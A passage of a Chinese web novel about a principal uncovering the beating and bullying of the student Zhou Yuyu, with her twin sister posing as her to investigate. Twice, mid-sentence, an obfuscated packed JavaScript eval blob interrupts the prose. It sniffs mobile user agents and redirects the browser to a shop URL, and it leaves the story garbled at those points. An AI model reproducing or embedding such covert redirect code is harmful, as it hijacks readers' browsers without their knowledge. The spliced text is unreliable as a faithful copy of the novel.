程景逸本来坐在桌前一边等饭一边想着白天的事情，这时见吕奶奶似乎有什么话想说却颇感为难的样子，他站起身温和笑道：“吕奶奶，您有事情找我？” 见吕奶奶还有些犹豫，他将语气尽量放的轻缓柔和：“吕奶奶，我们做了好几年的邻居，您要有事，可以跟我直说，如果我能做到，肯定会帮您的。” 观察吕奶奶的神情，想到老人家最挂念的无非是自己的外孙，程景逸试探地问道：“是跟言言有关吗？” 吕奶奶：“程校长，这两天言言有些奇怪。” 程景逸听到这里，忧心起来，忙问道：“怎么奇怪，是出什么事情了吗？” 吕奶奶点头，很是有些苦恼：“好几个客人和我说看见言言和一个女孩儿走在一起。” “而且言言一直都很懂事，假期也很少出门，不是在家里学习就是在店里帮忙。昨天他竟然破天荒地说要出去和同学一起讨论作业。” 她说道：“我怀疑这小子谈恋爱了。” 144. 江湖夜雨 程景逸没想到吕奶奶说的是这方面的事情，不由得莞尔：“吕奶奶，和女同学走在一块儿就是谈恋爱吗？这样判断会有一点点武断哦。而且言言又乖又懂事，您说不定误会他了。” 他一面说，一面扶着吕奶奶坐下来。 这会儿餐馆里客人的饭菜都已经上好，吕奶奶索性和程校长坐着好好聊一聊。 她觉得程校长说的话也有道理，便道：“也是，我也不能随便冤枉他。” 吕奶奶想了想，又道：“其实言言现在大了，是个大小伙子，他也一直很懂事。像年少慕艾、情窦初开这种事情，实在是人之常情。我都能理解。何况我也不是那种不开明的家长。” “只是……我还是希望他能够明白，人应该在对的时间选择做对的事情。毕竟，很多人生中的重大机会，错过就没有了。” 程景逸点头：“是这个道理，我明白您的心情。” “程校长，”吕奶奶握住程景逸的手，恳切道，“所以我想请您和言言好好聊一聊，劝劝他。” 她叹口气，轻轻道：“言言虽然懂事，和我也亲，但是可能正是因为这种关系，我说的话他不一定听，甚至有可能起相反的作用。” “您是老师，是言言敬重的先生，您说的话，他会在心里仔细权衡，他能听进去的。” 面对老人家这般诚恳的请求，程景逸实在是说不出拒绝的话语。 更何况，他本来也不打算拒绝。 吕正言既然是他的学生，喊他一声“老师”，便是他肩上的责任。 他不会推卸本该承担的责任。 程景逸郑重道：“吕奶奶，您放心，这件事交给我，我会找个合适的时间和言言谈一谈。” “谢谢您，程校长，”吕奶奶万分感激，她说道，“我家言言就拜托您了。” 程景逸告别吕奶奶，从归客出来。 他沿着街道朝着住的地方慢慢走着。 还未走到楼下，远远地便瞧见吕正言从单元楼中走出，去骑停在楼下的自行车。 程景逸本以为他要去归客找吕奶奶，便站住，停在旁边的一处人造小水池边，想着等吕正言经过这里时拦住他，两个人正好在这里谈谈心。 可吕正言并没有朝着这个方向而来，而是从另一边离开了。 但是那个方向，并不是去归客的方向。 吕正言这是要出门？ 这么晚了，吕正言会去哪里呢，又是去做什么呢？ 程景逸想起吕奶奶的叮嘱。 而且吕奶奶还说这孩子这两天有些奇怪。 程景逸明白，行为奇怪不一定是因为谈恋爱，还有可能是被迫卷入一些事端。 所以他沉吟稍许，便毫不迟疑地快步跑到楼下。 程景逸庆幸地想道，还好今天他随身带车钥匙了。 他找到自己的的车，打开车门，将打包的饭盒放在副座上。 此时吕正言已经骑着自行车一溜烟驶出很远。 程景逸连忙发动汽车，悄悄跟在吕正言的身后，准备一探究竟。 不过为了防止被这孩子发现，他并没有将车开得太快，而是始终和吕正言保持一定的距离。 *** 时间倒回至一刻钟以前。 吕正言本来在家里写作业，准备再过两个小时就去店里帮外婆收工。 家里电话铃声突然响起。 以为是外婆有什么事情要交代，他连忙接起电话：“外婆，有什么事吗？是要我待会带点什么东西吗？” “你好，请问是吕正言吗？”对面传来的却不是外婆的声音，那女生笑道，“我可不是你外婆哦。” 这声线带着些微耳熟，吕正言灵光一闪，试探问道：“周佑谷？” “是我。”周佑谷道。 吕正言想起两人在昨天见面时交换了联系方式。 周佑谷给的是她的手机号。 而吕正言没有手机，给的是家里的座机号码。 他问道：“是出什么事了吗？” “佑雨醒了。”周佑谷的声音从听筒里传出，“我们待会儿准备和佑雨视频，听她讲讲那天究竟发生了什么。” 醒了就好，吕正言一直高高悬起的心稍微回落。 然后便听周佑谷说道：“你也来听听？” 吕正言下意识觉得不妥：“你们家里人说话，我去不合适吧。” “我们家里人该聊的都已经聊过了，该关心该说的话也都已经说了，现在要做的就是要解决问题。”周佑谷道，“吕正言，你对佑雨学校的事情比较了解，现在因为佑雨不在青山镇，我们需要你的帮助。所以待会儿开视频会议，希望你能来，可以吗？” 吕正言沉默片刻，回道：“好的，不过我只有两个小时，之后我得去帮我外婆收工。” 顿了一下，他解释道：“去晚了老人家会担心。” “理解，你放心，时间不会太久，”周佑谷叹气，“而且佑雨的身体情况也接受不了时间很久的谈话。” 她道：“那你快来吧。在南乡路翠竹园小区8栋……算了，我待会到小区门口接你。” 吕正言疑惑：“你家不是在南乡路锦绣园小区吗？” “是到我堂哥住的地方，”周佑谷，“哦，我堂哥就是你上回见过的那个长得很帅的男生，他现在住翠竹园。他那里地方比较大，设备也全，我们有事的话以后都可以到他那里聊，安全又方便。” “行。”吕正言明白过来，但是又面临一个新的问题，“不过翠竹园小区在哪里呀？” 周佑谷嘀咕道：“哦对，我忘了你没有导航……” 她说道：“就在锦绣园小区对面，你知道锦绣园小区在哪里吧，你前天晚上和吴老师、容老师她们一起来过的？” 吕正言：“知道。” 周佑谷：“那你快过来吧。” 挂断电话，池和安在一旁道：“还好我昨天就分了一批人去找房源，在提高价钱的前提下，这速度还是很快的。而且你别说，青山镇虽然偏僻，但是快递还不赖，该配置的东西一天就全配好了。” “你这是败家子儿，钱多的烧得慌。”周佑谷没好气道。 池和安正色道：“你爸和你妹妹的家，你住当然可以。但主人家不在，我住总归不合适。你要在这边长线作战，我只能先租个地方住。” “而且面对像现在这种需要找人商议事情的情况，我们总得有个潘家人不知道的秘密基地，这里就很合适。”池和安环顾四周，看着自己今天才搬进来的这间屋子，满意道，“别说就我们三个人谈事情，就算再来三个，再来多少个，都完全可以。” 没想到池和安考虑这么多，周佑谷抱拳道：“甘拜下风。” *** 程景逸远远地跟在吕正言的自行车后。 没过多久，吕正言在一个小区门口停下来。 “锦绣园小区。” 这小区的名称让程景逸有一丝熟悉感，他不由得仔细回忆，究竟在哪里见过这个名字。 蓦然间，程景逸回想起，今天下午在宋民副校长的办公室里他翻阅过周佑雨的档案。 其中，家庭住址那一栏，正是“南乡路锦绣园小区”。 原来周佑雨就住在这里。 程景逸暗自感叹，这倒是歪打正着。 本来他是跟着吕正言，倒让他意外找到周佑雨家住的小区。 等等，吕正言呢？ 他一直盯着锦绣园小区的大门，可没瞧见吕正言进门。 程景逸连忙将车停在路边。 这段路两旁划的有夜间限时停车位，晚上八点到早上七点都可以停。 环顾一圈，程景逸这才发现，吕正言已经穿过马路走到对面。 那里有人正朝吕正言招手。 程景逸定睛看去，那招手的人不是周佑雨又是谁？ 程景逸下午才见过周佑雨，对她那张脸记得真真切切，绝不会认错。 坏了，吕奶奶说的那个和吕正言走在一起的女同学不会就是周佑雨吧。 眼见着吕正言和周佑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586986|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨两人碰面之后站在那里说话，程景逸连忙发动引擎。 幸好前面不远处就可以掉头，程景逸掉头之后往回开，正好瞧见二人站在人行道上说话。 程景逸将车停在路边。 车窗玻璃慢慢降下。 吕正言扶着自行车，听周佑谷说着下午和潘家人遇见的事情。 只是不知道为什么，他突然间感觉到后背发凉。 他似乎被什么危险的野兽盯上了一般。 吕正言疑惑地将目光望向四周。 在视线扫过路旁的一辆车时，他不由得怔住。 程校长神情严肃地盯着他。 吕正言连忙打断旁边说着话的周佑谷：“你刚说你下午见到程校长了？” 他一边说着话，一边还在不断地使眼色。 奈何周佑谷和他的默契不佳，没有明白他的意思。 周佑谷点头道：“对呀。不过……你眼睛怎么了？” 吕正言一面推着自行车往程景逸的方向走，一面低声对周佑谷道：“我现在也见到程校长了。” 周佑谷顺着吕正言的目光看去，也不由得定住。 还真是巧。 两人在路边乖乖地和程景逸问好。 程景逸面无表情，只是对二人道：“你们上车，我有话和你们说。” 吕正言只得先把自己的自行车上锁，停在路边的自行车停放区。 黑色的单车在一排彩色的共享单车中间格外显眼。 周佑谷对妹妹高中的这位程校长的印象其实不错。 下午的时候，她终于得知，原来那位源哥大名叫潘源，和潘鸿是兄弟俩。 老话说，强龙不压地头蛇，这不是没有道理的。 这不，下午即便有池和安在，他们也险些因为和潘家人对上而吃亏。 倒是这位程校长，看着斯斯文文，却全然不是那种百无一用的书生。 程校长不仅对她和张静思这两位正宁中学的学生持保护姿态，还对那些有悔改之意的手下网开一面。 不过，这份心不是单独给了她这边，而是也照顾到了张静思，这让她有一点点不爽。 但是总体而言，虽然只是今天下午打过交道，周佑谷对这位程校长的评价还不错。 再加上她现在顶着的是妹妹的身份。 是以，她虽然挑了挑眉，仍然还是坐上程景逸的车。 吕正言停好自行车后，上车时在后座和副驾中选择了后排，坐在周佑谷旁边。 小镇的夜里没有大城市的灯红酒绿和车水马龙，却也是万家灯火。 月夜和灯光构成一幅绝妙的光影图，白天里再普通的地方在光影的衬托下也变得美丽。 程景逸将车开到不远处的一个广场处，找到一个停车位。 广场上十分热闹，中老年女士们和着音乐跳着广场舞。 停好车后，几人绕着广场散步。 程景逸问吕正言：“昨天你是和她一起讨论作业？” 吕正言点头：“是。不过您是怎么知道的？” 总不能把吕奶奶供出来，所以程景逸扬眉道：“这你就别管了。” “说说吧，你们是遇到什么棘手的事情了？”程景逸温声道，“我是你们的老师。你们可以相信，我是真心为了你们好。” “告诉我你们遇到的问题，我来帮你们解决。” 虽然对程景逸印象还可以，但是周佑谷心中仍然带着些微顾虑，所以她道：“程校长，谢谢您的关心，不过您想多了，我们都是学生，能遇到什么问题。” “小丫头还是不相信我，”程景逸失笑，“忘了下午是谁把你们保出来的？” 周佑谷撇嘴道：“一码归一码。” 程景逸还准备说些什么，这时候，他的手机铃声响起。 他拿出手机一看，是吴焕晗。 担心是学校的事情，程景逸对二人说道：“我去接个电话，你俩在这儿玩一会儿。” 走了几步，程景逸又回头补充道：“别跑啊。” 145. 江湖夜雨 见程景逸去接电话，吕正言考虑再三，对周佑谷说道：“程校长住我家对门。” 周佑谷：“哦，好巧。” 吕正言：“他是一个好老师。” 周佑谷表示赞同：“嗯，我也觉得他还不错。” 吕正言提出一个建议：“其实我觉得，你妹妹的这件事可以告诉程校长。如果我们需要学校老师的帮助，程校长就是最好的人选。” “何以见得？”周佑谷挑眉，问道，“你把吴老师和容老师置于何地，你别忘了，前天晚上这两个女老师也帮了我们的。” 吕正言不好意思道：“主要是我对程校长比较熟悉。” “大人们都是一个样。”周佑谷嗤笑道，“在大人眼中，我们永远是无足轻重的小孩子。他们认为我们的想法幼稚、不成熟，觉得我们遇到的问题都是自己作的，我们就应该每天只要专心学习就好，其他的事情对我们而言无关紧要，我们就应该当没有情感的学习机器。” “别把希望寄托在这些已经世俗化的大人身上。” 吕正言反驳道：“程校长和其他大人不一样。” 程景逸正在不远处打电话。 周佑谷瞥了眼程景逸那长身玉立的挺拔身影，好笑道：“程校长和其他老师最不一样的地方恐怕就在于，他那风度翩翩、雅量非常的气质实在是太过引人注目吧。” 瞧见吕正言听了她的话后露出不赞同的神色，周佑谷反问道：“怎么，难道你认为程校长丑？” 吕正言否认地干脆利索：“当然不是。程校长在我遇见的男老师里面是最帅气的。” “只是我觉得你刚刚那样评价有点不太尊重程校长……”末了他补充道，“像古装电视剧里的公子哥评价姑娘。” “哈哈哈哈……”周佑谷觉得吕正言这个比喻虽然到位，但是实在好笑。 笑了半天，她突然对吕正言眼里的程景逸感到好奇，因此问道：“那你讲讲，程校长和其他大人相比，是怎么个不一样法？” 吕正言斟酌一番后说道：“其他大人考虑的事情都很多，唯独把我们学生的想法放在最后考虑。” “而程校长虽然也考虑的很多，但是在他心里，我们学生最重要。” “程校长全心全意地为学生的成长着想，他是会站在我们的角度替我们考虑的人。” “他值得你的信任。” 周佑谷考虑良久，对吕正言说道：“我打个电话，征求下我妹妹的意见。” 吕正言点头。 周佑谷拿出手机，拨通周佑雨的视频通话。 她虽然在青山镇，但是还是远程让人给佑雨配了一个手机。 佑雨本来不想要，可她扮可怜说想要和妹妹多多视频联系，佑雨便也就答应了。 接通后，那边传来的声音轻柔甜美，正是周佑雨：“姐姐？” 周佑谷见佑雨正靠在病床上打着点滴，柔声道：“佑雨，有点事情，我想听听你的想法。” 周佑雨乖巧道：“姐姐你说。” 周佑谷：“我们想为你讨回公道。今天下午和潘鸿几个对上后，你们程校长也意外关注到这件事情。刚刚吕正言建议说可以把事情告诉程校长，程校长会帮助我们的。你觉得呢？你愿意告诉学校的老师吗？” 周佑雨：“姐姐你是怎么想的？” “其实这件事最终避不开学校，因为涉及到学生。”周佑谷，“那不如把几个对我们没有恶意的老师拉过来，也算是我们的助力。吕正言说程校长是个很公正、很爱学生的老师，他认为程校长值得信任。佑雨，你觉得呢？” 周佑雨：“我听姐姐的。” 周佑谷：“另外，我们前天还碰到两个女老师，吴焕晗老师和来录综艺的支教老师容清洛……” 周佑雨：“是我想的那个容清洛吗？” 见到妹妹眼里迸发出的光彩，周佑谷笑：“没错，就是你喜欢的那个女明星。” “前天晚上潘鸿他们以为我是你，来找我麻烦，是吴老师和容老师救了我和吕正言。这两个老师应该是很好的朋友，她们很热心，也很想帮助我们，你愿意让她们也参与进来吗？” “如果是容清洛和她的好朋友，我愿意的。”周佑雨答道。 周佑谷知道妹妹其实是个很善解人意的人，也很听话。 她很担心妹妹答应这些是为了让她安心。 周佑谷再次确认道：“佑雨，你排斥这些老师吗？” 周佑雨沉默几秒，答道：“还好。” 周佑谷：“佑雨，那待会视频的时候，你愿意见到老师吗？” 周佑雨知道，无论是和安哥哥，还是吕正言，以及这些老师，这些人本来和这些事情都是没有任何关系的。 他们愿意因为各种各样的原因帮助自己，所以即便她很不愿意见到任何人，她也应该表示感谢，不是吗？ 所以她道：“我都可以的。” “姐姐，我相信你。” 周佑谷：“好，那我待会儿看情况，见机行事。” *** 而另一边，程景逸接起吴焕晗的电话：“吴老师？” 吴焕晗开着免提，她看一眼旁边的容清洛，然后对电话那头的程景逸说道：“程校长，抱歉现在打扰您，有件和学生有关系的事情现在想和您当面聊聊，耽误您最多二十分钟时间，可以吗？” 程景逸知道吴焕晗不是没有分寸的人。 在下班时间，而且还是晚上，说明这件事比较棘手，而且问题比较严重。 所以程景逸问道：“比较紧急吗？” “对，”吴焕晗解释道，“程校长，您下午不是帮张静思和周佑雨请假吗？这件事是不是涉及到霸凌？” “其实，周佑雨同学不是第一次陷入这种危险了，我和容清洛老师前天晚上就遇见周佑雨和她的另一个同学遭遇混混围堵，那个同学叫吕正言。” “接连几天发生这种事情，我认为，学校学生的安全问题目前已经到了一个很紧急的时刻。所以才想当面和您汇报一下我知道的情况。” “还有容老师，我们一起，可以吗？” “你刚说前天和周佑雨一起被混混围堵的是谁？”程景逸皱起眉头，“吕正言？” 吴焕晗：“对。我和容老师后来还护送他们二人回家。不过当时答应了周佑雨要保密，所以没有向您汇报。” “只是没想到今天学校外又发生了这种事端，所以才不敢耽误时间，立马和您说了这件事。” 程景逸：“其实我现在正在青山镇人民广场和两个学生谈心。” 吴焕晗：“您是不方便吗？” 程景逸：“这两个学生就是吕正言和周佑雨。” 吴焕晗和容清洛对视一眼，惊讶道：“这么巧……” 程景逸回头望去，两个学生正背对着他看喧嚷的人群跳广场舞。 心大得完全不像是经历过霸凌的人。 程景逸对电话对面的人说道：“嗯，所以你们如果想谈他俩的事情，可以现在直接过来。” 见容清洛点头表示她可以，吴焕晗回复道：“好的程校长，您稍等，我们打个车就过去。” *** 程景逸挂断电话，走向两个小同学。 周佑谷和吕正言装作沉浸在大妈们热烈的广场舞氛围中，实际是在交换情报。 身后冷不丁响起一句“好看吗”，惊起二人一身冷汗。 二人尴尬回头，对着程景逸笑：“还行，还行。” 程景逸道：“一会儿还有两个你们认识的老师要来，吴焕晗老师和容清洛老师，” “她们来找我，是想聊一聊你们前天晚上遇到危险的事情。” “周佑雨，听说你还让她俩保密？不过你今天中午的事情可让她们受到惊吓了，所以她们考虑再三，还是想来和我商讨一二。” “你们现在愿意见她们吗？”他温和道，“如果不愿意，我先送你们回家。如果愿意的话，我们一起在这里等她们来好吗？” 吕正言今天本来就是来旁听的，他自然是怎样都可以，因此便指着旁边的周佑谷道：“我听她的。” 周佑谷想起刚刚佑雨的话，便道：“可以的。” 程景逸颔首：“那我们去那边的长椅上坐着等？” 周佑谷思量一番，对程景逸郑重说道：“程校长，其实我和吕正言今天本来是要开会，有事情要商议，地点在翠竹园小区……就是您刚刚让我们上车的那个地方的旁边。” “您想知道到底发生了什么对吗？” “整件事情比较复杂，而且需要保密。” “所以我们需要找一个安静且安全的地方梳理这件事。” “本来我只叫了吕正言。不过我刚才和我妹妹商量了一下，如果再添上程校长您以及容清洛老师和吴焕晗老师，也不是不可以。” 程景逸：“你还有一个妹妹？” 他记得周佑雨的学生档案里，家庭成员那一栏只写着父亲周承，而周承是茶厂的会计。 所以他猜测周佑雨应该是单亲家庭。 没想到她还有一个妹妹。 “您愿意和我们一起去开会吗？”周佑谷眼里闪过一抹狡黠的光，“去了您就知道了。” “好，那我给二位老师发个信息，让他们直接去……”程景逸，“你刚刚说是在什么地方？” 周佑谷微笑：“就说在锦绣园小区对面，容老师和吴老师知道的。” *** 晚上八点半左右，众人终于在锦绣园小区的对面集合。 周佑谷带着众人在翠竹园小区里七拐八拐，走进一栋单元楼，爬上几层楼的台阶，在一户人家门前停下。 还未敲门，门已从内打开，露出池和安清新俊逸的脸。 刚刚等人时，周佑谷已经将情况的变化告诉了池和安，所以池和安对于突然增多的人数接受良好。 只见他对着四位客人笑道：“恭候诸位多时了，请进。” 众人都进门后，周佑谷指着池和安介绍道：“这是我堂哥。” 池和安将众人引到早已布置好的大会客厅，礼貌介绍自己道：“我姓池，池和安。” 众人落座，池和安为大家端上茶和点心，周佑谷趁着这个机会为池和安介绍老师同学。 待所有人都互相认识且气氛稍微热烈之后，便开始进入正题。 池和安将电脑界面投屏到电视上，露出一个线上会议软件的界面。 除了他们这边的账号，还有另一个头像显示在线。 双方打开视频的那一刻，在场众人中除了周佑谷和池和安，都吃了一惊。 无他，周佑雨和周佑谷实在是长得太像了。 即便吕正言早有心理预期，还是颇感吃惊。 更别说完全没料到这一幕的程景逸、容清洛、吴焕晗三人。 周佑雨通过大屏幕和大家打招呼：“大家好，我是周佑雨。” 吴焕晗：“你是周佑雨，那这位是？” 周佑谷轻笑：“重新认识一下，各位老师，我是周佑谷，佑雨的双胞胎姐姐。” 观察一番众人的脸色，她补充道：“这几天各位老师遇到的‘周佑雨’其实都是我，周佑谷。” “至于为什么我会以佑雨的身份出现，其实是为了调查一件事情。”周佑谷解释道。 姐姐其实跟她也是一样的年纪，她不能把所有的事情都推到姐姐身上。 这样想着，周佑雨便接过话题，主动道：“这件事情我是亲历者，还是由我自己来说吧。” 周佑谷观察到，佑雨现在没有躺在病床上，也没有穿着病号服，而是穿戴整齐，正襟危坐在沙发上，尽力掩饰着病容。 她在心里微叹，妹妹虽然瞧着柔弱，实际还是颇为要强的。 周佑雨娇柔的声音通过电视传到这间会客厅的每个角落。 “上周四傍晚，我爸爸在做饭，家里没有米了。爸爸在择菜，让我去买米。” “但是在回来的路上，在三桥附近的河道边被一伙人拦住。他们问我是不是周承的女儿周佑雨。” “我不理他们，想要赶紧回家。但是他们有四五个人，都是年轻力壮的年轻男子，拦着我，我也走不脱。” “这时候，我爸爸可能见我这么长时间都没回家，有些担心，便给我打电话。” “我的电话手表响起，我见是爸爸，本想挂断。” “因为我猜测这些人找我爸肯定是想对我爸不利，我想保护爸爸。” “但是那伙人为首的那个鸿哥——我听他的同伴都是这样喊他，那个鸿哥眼尖，看到我电话手表的屏幕上写着‘爸爸’两个字，他就眼疾手快的将电话接通。” “他问对面是不是周承。我爸爸说是，然后就问我的情况。那个鸿哥就说如果我爸想救我就赶紧到我们当时所在的那个地方来。” “我被堵的地方其实离我家很近，我爸很快就来了。” “鸿哥迎上去和我爸说话，我被其他几人控制着，离得远，听得不太清楚。” “只隐约听见茶厂、钢铁厂排污、毁林种茶、举报等词。” “之后那个鸿哥应该是提出了什么要求，我爸没同意，然后那个鸿哥就打了我爸一拳。” “拉着我的几人加入其中，开始围殴我爸，逼他就范。” “我连忙准备报警，但是被他们发现了，电话还没拨通就被他们掐断。” “之后……”周佑雨稍微停顿。 只见她微微低头，房间的灯光为她的脸投下一片阴影，众人看不清她的神色。 大概过去十几秒，周佑雨抬头，继续对着屏幕对面的众人讲述。 “那伙人也开始殴打我。可能是因为目的达不成，也可能因为他们常常这么做，总之他们下手都比较狠。” “再后来的记忆就很模糊了，我昏迷了过去。” “整件事，我知道的就是这些……咳咳咳。” 可能是因为情绪起伏，周佑雨开始剧烈咳嗽，人也有些坐不住。 视频里很快出现护工的身影，医生护士也都赶来。 周佑谷有些心疼，对着视频那端的人说道：“佑雨你才醒，还是好好修养，身体最重要。接下来的事情就交给姐姐……和大家，我们会为你讨回公道的。” 周佑雨确实也没有力气了。 视频很快被切断。 在场的众人都神色凝重，一片沉默。 “剩下的让我来说完吧。”周佑谷道，“经过调查，我们现在已经得知，他们在昏迷后被扔进了水里。” “也是我爸和我妹命不该绝。应该是在潘鸿等人走后，有人在船上救了他们。” “我当时刚好从省城来青山镇看我爸和我妹。家里一直没有人，我很担心，便一直给佑雨打电话。” “比较幸运的是，我打过去的电话被救了我爸和我妹的人接到了，对方告诉了我地方。” “我连忙赶去。本来想着那个救人的人也许是目击证人，可惜我们按照地方找到我爸和我妹的时候，并没有看见其他人。只在河边看到有船停泊过的痕迹。” “因为救人要紧，我们就没有过多停留，连夜把二人送到西华市医院，后来又转到省会云市的医院，这才算是勉强保住我爸和我妹的性命。” “只是，虽然我妹妹醒了，”周佑谷沉痛道，“但我父亲的伤很重，目前仍处于昏迷状态，在ICU接受治疗。所以这件事的起因我们还不得而知。” “由于整件事情比较扑朔迷离、疑点重重，所以我们暂时没有选择报警，而是自己着手调查。” “通过我这几天的调查，已经可以确定，佑雨所说的那个鸿哥就是飞鸿钢铁厂厂长潘跃的儿子潘鸿。” “潘跃有两个儿子，大儿子叫潘源，二儿子叫潘鸿。” “实际上，前天晚上，潘鸿和潘跃就带着人堵了我一回。吕正言同学恰好路过，就来帮我。但是我们二人，四拳难敌八手。危急时刻就是吴老师和容老师出现救了我们。” “另外我发现，这个潘鸿、潘源是我们班同学张静思的表哥。今天中午的时候，就是张静思把我引到校外的胡同里，这才被潘鸿、潘源他们堵住。” “如果不是我堂哥一直在暗处保护我，我可能就难逃我妹妹的厄运。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586987|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且，我也是因为这件事才得知，我妹妹其实长期处于霸凌之中，不过之前霸凌她的一直是另外几人，包括杨瑾菲、朱吴毓、卢芒等人，这件事情吕正言可以作为人证。” “整件事听下来，”程景逸神情冷峻，“这其实已经不仅仅是简单的校园霸凌了，还涉及到钢铁厂和茶厂的私怨。” 从坐进这间会客厅听到周佑雨的讲述开始，程景逸心中的怒气就不断累积。 整件事听下来，他已经怒不可遏。 上一回他这么愤怒恐怕还要回溯到高中。 那时季希也是被人欺负，他当时也只是一个高中生，最终没能保护好她，他的后悔持续到现在。 从事教师行业这些年，其实他还没真正碰到过学校里出现校园霸凌的事情。 这一回，他想弥补曾经的遗憾。 程景逸灌下一大口茶水，承诺道：“校园霸凌这件事，学校一定会彻查。” “你刚刚提到的几个名字，我和吴老师都已经记下了。从明天开始，我们会逐个找人谈话，仔细调查。” 周佑谷由衷感谢道：“程校长，谢谢您。” “都是应该的。”程景逸沉吟一番，又道，“不过，像你父亲这件事，目前还是应该尽力寻找一切证据，之后借助法律力量来惩罚作恶之人。这有些超出学校的职权范围，需要有专业的人士来办。恰好我认识一些业内很有名的律师，我可以引荐给你们。” “程校长，谢谢您的好意，”池和安，“不过我们有专业的律师团队，这点您放心。” 程景逸明白过来，他问道：“所以你们找我们过来，其实主要是想解决同学们之间的霸凌事件对吗？其他的你们自己可以搞定？” 池和安点头：“是的。” 程景逸说到：“好，学校一定会给佑雨同学一个说法的。” “不过，希望今天中午的事情不要再发生了。你们本来是受害方，但是这样一弄，很可能被他们反将一军说成是加害方，反而对你们不利。” 周佑谷保证道：“好的，程校长，我们之后会注意的。” 程景逸和吴焕晗商量了一下，说道：“佑谷，为了你的安全着想，《青衿与长衫》这档综艺你还是先不要参加了，以免在路上或者学校里再出现被人围堵的意外，你觉得可以呢？” 周佑谷：“那张静思呢？” 程景逸：“我会劝她，让她也不要继续参加。” 周佑谷点头。 “虽然这位小池同志看起来很有些能耐，但是有时候强龙不压地头蛇。”程景逸斟酌道，“其他人你们可能信不过……你们今天下午见过的申承警官和阎滨警官是曾经是我的学生，也是佑雨的校友。你们如果有事，可以找他俩。他们都是很正直很有底线的年轻人。我可以给你他们的联系方式……” 池和安连忙记下两位警官的名字和电话。 众人又各抒己见，商讨一番，时间很快流逝。 九点半左右，众人从池和安家离开。 周佑谷就住在翠竹园小区对面，不需要送。 程景逸本想把吕正言捎回去，但是吕正言要把自己的自行车骑回家，并且他赶着去店里帮外婆收工，便先走了。 于是转眼便只剩下程景逸、容清洛、吴焕晗三人。 容清洛需要录节目，就住在学校宿舍。 而吴焕晗住在学校家属院。 程景逸便道：“那我送你们回学校？” 二人自然没有理由拒绝。 程景逸将车从停车位开出来，停在二人身边。 容清洛本想坐后排，却被吴焕晗挤眉弄眼地塞进副驾。 吴焕晗自己一个人坐在后排座位上。 容清洛刚刚在那个会客厅里说的话并不多。 很明显，周佑谷和池和安对惩罚凶手势在必行。 程景逸对学校里出现校园霸凌义愤填膺。 吴焕晗因为是学校老师，也责无旁贷。 而她不过是个综艺的支教嘉宾，其实对这件事不会有太多的出力点。 所以大多数时候，她都在倾听。 她其实并不像众人一般满腔义愤。 实际上，如果路见不平，她会拔刀相助。 但是她不会有情绪波动。 容清洛有时候会觉得，这些年里她慢慢变得越来越冷漠。 焕焕说，这不能怪她，毕竟她经历过很多旁人没有经历过的痛苦，也看过太多这个世界的阴暗面，所以才心灰意冷，对人性失望，渐渐没了当年的热血。 但容清洛知道，更多的原因，不是这样的。 实际上，冷漠这种情感是双向的。 冷漠可以让人难以感受到他人的痛苦。 但更重要的一点是，冷漠可以让人屏蔽掉自己的苦痛。 只要你足够冷漠和钝感，你就不会感受到伤害和痛苦。 这样，冷漠就成为了一种保护自己内心的方式。 此刻，容清洛能观察到，程景逸虽然认真掌控着方向盘，车开得也很稳，但是他不像往常一样活跃气氛，眉宇间也还残留着没有散开的怒气。 想必程景逸心里还在想着周佑雨这件事。 容清洛知道，虽然程景逸看起来文质彬彬，但是他身手很不错，架打得很好。 最关键的是，程景逸的脾气其实没有他表面看起来这么好。 某种程度上而言，程景逸是一个“双标”的人。 他对弱者常常是温和、春风化雨的。 对做出不义之事的强者，他却是嫉恶如仇、毫不退缩的。 这彰显着现代社会难得一见的侠义，但也带着一种文人看待世界的单纯。 这是一种和大多数人完全相反的“双标”。 很明显，也是和大多数人格格不入的处事方法。 容清洛不想程景逸碰壁和受伤。 她委婉问道：“程景逸，你准备怎么做？” 程景逸回答地很简洁，也很干脆：“该怎么做，就怎么做。” 容清洛：“具体一点呢？” 程景逸：“我会先找吕正言这样的知情同学了解情况，然后分别找张静思、杨瑾菲、朱吴毓、卢芒这几个同学谈话，也会找他们的家长聊聊，最后再根据情况看怎么处理。” 容清洛：“你们今天提到那个张静思是你们学校一个副校长的女儿，还是飞鸿钢铁厂厂长的外甥女？另外那几个同学的家里多多少少也都不算很简单。” 程景逸：“有什么问题吗？” “我只是觉得，做决定之前要考虑清楚利弊，做事情也一定要讲方法、讲手段。要尽量既把事办了，又不伤害到自己。”容清洛斟酌道，“青山镇不大，正宁中学更是小，你以后还要和张副校长共事，抬头不见低头见。所以事情应该怎么做，你还是要考虑清楚。” “当然这只是我的一点小小意见，最后做决断的还是你自己。” 程景逸眉眼仿若凝了一层霜：“所以容小姐的意思是，这件事我不应该插手管，应该袖手旁观，粉饰太平，对霸凌事件睁一只眼闭一只眼。而我这么做，只是为了护住众人的脸面，为了保住我这个校长的位置？” 连“容小姐”这个称呼都出来了，看来程景逸真得很生气。 他的脾气怎么还是这么急躁呀…… “你先别这么激动，”容清洛无奈解释道，“我不是这个意思……” 程景逸一个刹车，将车稳稳停在正宁中学门口，他扭过头，看着容清洛这张艳丽夺目的脸，心里有些失望。 瞧着眉目如画，内心却这般不堪。 